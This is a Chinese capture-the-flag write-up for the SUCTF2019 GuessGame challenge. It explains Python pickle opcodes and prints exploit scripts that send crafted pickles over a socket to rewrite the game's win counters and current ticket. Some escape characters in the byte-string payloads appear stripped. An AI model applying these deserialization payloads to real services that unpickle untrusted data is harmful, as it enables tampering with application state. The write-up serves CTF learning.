网络知识 娱乐 SUCTF2019-GuessGame详解

SUCTF2019-GuessGame详解

写在前面

之前参加了2019 SUCTF,遇见了一道MISC题,看源码和phithon师傅的文章去了解它的opcodes,但是最终还是没做出来,因为文档实在是太少了,所以决心要弄懂这些东西。虽然pickle这个问题存在很久了,但是还是会有存在的情况,所以还是需要弄懂的,要不然就像这次的SUCTF一样,出现这样的血案,如果以后出现了也有一战之力,不管是执行命令还是这种类的修改。 PS:本文基本不涉及pickle绕过沙盒反序列化执行命令,因为题目不涉及,具体可看附录里的链接。

Pickle介绍

pickle模块实现用于对Python对象结构进行序列化和反序列化的二进制协议。 与其它语言一样,pickle的dump(dumps)和load(loads)提供了序列化和反序列化的功能,详情使用可参考附录里的pickle文档或者源码。

题目

首先来看下题目,可以在buuoj平台上开启guess game的靶机或者下载源码https://github.com/rmb122/suctf2019_guess_game里下载源码。这道题还是十分有趣的,不会pickle的人短时间内还是可以看懂pickle的基本使用,但是深入构造命令执行或者其它操作比较困难,而这题的考点就考它的其它操作组合。而至于命令执行,可以看附录里的一些链接。 可以看到给了两个文件,一个server.py、一个client.py

无疑是用client与server交互获得flag

1. 看下client核心逻辑:

十分的简单,可以看下Ticket类

也是十分的简单,甚至重写了==,这个会在后面遇到

2. Server逻辑:

查看猜对条件,可以看出就是判断ticket.number是否相等,相等就使 win_count+1

查看胜利条件,胜利次数==最大轮数,而最大轮数是10,所以就是要全胜

然后max_round和number_range定义在init.py里

但是这十次随机是不太可能的,跑了个脚本大概能跑对个3 4次就不错了23333。

所以整理下思路:

  • 让max_round=0,然后一局不赢,或者win_count=10,round_count=9传输一次。
  • 直接修改对象的值,让其与传过去的值相等
  • 执行命令直接读取/flag

解题方法

1. win_count=10,round_count=9传输一次

看下官方的exp

import pickle
import socket
import struct

s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))

exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.TicketnTicketnqx00)x81qx01}qx02Xx06x00x00x00numberqx03Kxffsb.'''

s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

看下解释

接下来看下修改win_count和win_count的opcodes:

cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sb

这都是啥东东,完全看不懂 = =,没关系,我们看看先换成容易看懂的,使用picktools转换

接下来从pickle源码中提取关键字解释

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
EMPTY_DICT     = b'}'   # push empty dict
STRING         = b'S'   # push string; NL-terminated string argument
INT            = b'I'   # push integer or bool; decimal string argument
SETITEM        = b's'   # add key+value pair to dict
BUILD          = b'b'   # call __setstate__ or __dict__.update()

有人肯定就开始问了,这我也看不懂英文啊,大哥你帮帮我翻译呗 那就解释如下: c引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了) }push一个空的字典,相当于push {} S: push一个字符串 I: push一个整型 s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。 b: 调用__setstate__ 或者 __dict__.update() dict.update:更新对象的属性的

所以上面的翻译一下

如果对python字节码熟悉的师傅就会觉得很简单,但是Web狗实在见识少,只能通过查阅资料和猜测来做。 然后再拼接一个Ticket序列化对象

虽然与exp有点差别但是影响不大,验证一下

至于改max_round,由于它不是类里的属性,从opcode没找到操作的方法,如果有可以操作这两个值的方法也是实现的。

2. 直接修改对象的值,让其与传过去的值相等

这一步的关键点在修改guess_game.game.game的current_ticket值。我将De1ta的payload简化了下

exp1 = b"cguess_gamengamenN(S'curr_ticket'ncguess_game.TicketnTicketn)x81}Xx06x00x00x00numberKx06sbdx86bcguess_game.TicketnTicketn)x81}Xx06x00x00x00numberKx06sb."

翻译一下,与上面的其实差不多